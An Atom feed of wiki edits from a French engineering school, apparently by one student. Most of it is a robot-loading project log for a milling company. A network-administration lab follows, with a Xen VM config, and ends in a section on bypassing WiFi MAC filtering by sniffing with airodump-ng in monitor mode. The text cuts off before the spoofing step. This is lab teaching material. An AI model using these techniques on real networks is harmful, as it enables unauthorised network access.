Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|left|690px]][[Fichier:P27_IHM_2.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
*Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_4bis.jpg&amp;diff=26082</id>
		<title>Fichier:P27 IHM 4bis.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_4bis.jpg&amp;diff=26082"/>
				<updated>2016-02-03T13:25:10Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_4.jpg&amp;diff=26081</id>
		<title>Fichier:P27 IHM 4.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_4.jpg&amp;diff=26081"/>
				<updated>2016-02-03T13:24:39Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_3bis.jpg&amp;diff=26080</id>
		<title>Fichier:P27 IHM 3bis.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_3bis.jpg&amp;diff=26080"/>
				<updated>2016-02-03T13:24:18Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_3.jpg&amp;diff=26079</id>
		<title>Fichier:P27 IHM 3.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_3.jpg&amp;diff=26079"/>
				<updated>2016-02-03T13:23:55Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_2.jpg&amp;diff=26078</id>
		<title>Fichier:P27 IHM 2.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_2.jpg&amp;diff=26078"/>
				<updated>2016-02-03T13:23:28Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_1.jpg&amp;diff=26077</id>
		<title>Fichier:P27 IHM 1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_1.jpg&amp;diff=26077"/>
				<updated>2016-02-03T13:22:50Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25965</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25965"/>
				<updated>2016-02-02T14:56:00Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=25067</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=25067"/>
				<updated>2016-01-19T10:28:24Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
